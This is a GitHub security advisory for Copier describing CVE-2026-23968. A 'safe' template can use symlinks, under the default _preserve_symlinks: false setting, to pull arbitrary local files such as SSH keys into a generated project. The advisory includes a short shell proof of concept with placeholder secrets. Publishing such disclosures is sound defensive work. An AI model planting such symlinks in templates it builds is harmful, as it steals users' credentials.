copier-org/copier · Security

Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

GHSA ID
GHSA-xjhm-gp88-8pfx
CVE ID
CVE-2026-23968
Severity
medium
Published
Updated
CVSS
5.5 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSS v3
5.5 · CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSS v4
6.8 · CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Description

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

    echo "s3cr3t" > secret.txt
    
    mkdir src/
    pushd src/
    ln -s ../secret.txt stolen-secret.txt
    popd
    
    uvx copier copy src/ dst/
    
    cat dst/stolen-secret.txt
    #s3cr3t
    
  • Illegally include a directory in the generated project via symlink resolution:

    mkdir secrets/
    pushd secrets/
    echo "s3cr3t" > secret.txt
    popd
    
    mkdir src/
    pushd src/
    ln -s ../secrets stolen-secrets
    popd
    
    uvx copier copy src/ dst/
    
    tree dst/
    # dst/
    # └── stolen-secrets
    #     └── secret.txt
    #
    # 1 directory, 1 file
    cat dst/stolen-secrets/secret.txt
    # s3cr3t
    

Patches

n/a

Workarounds

n/a

References

n/a

CWEs

References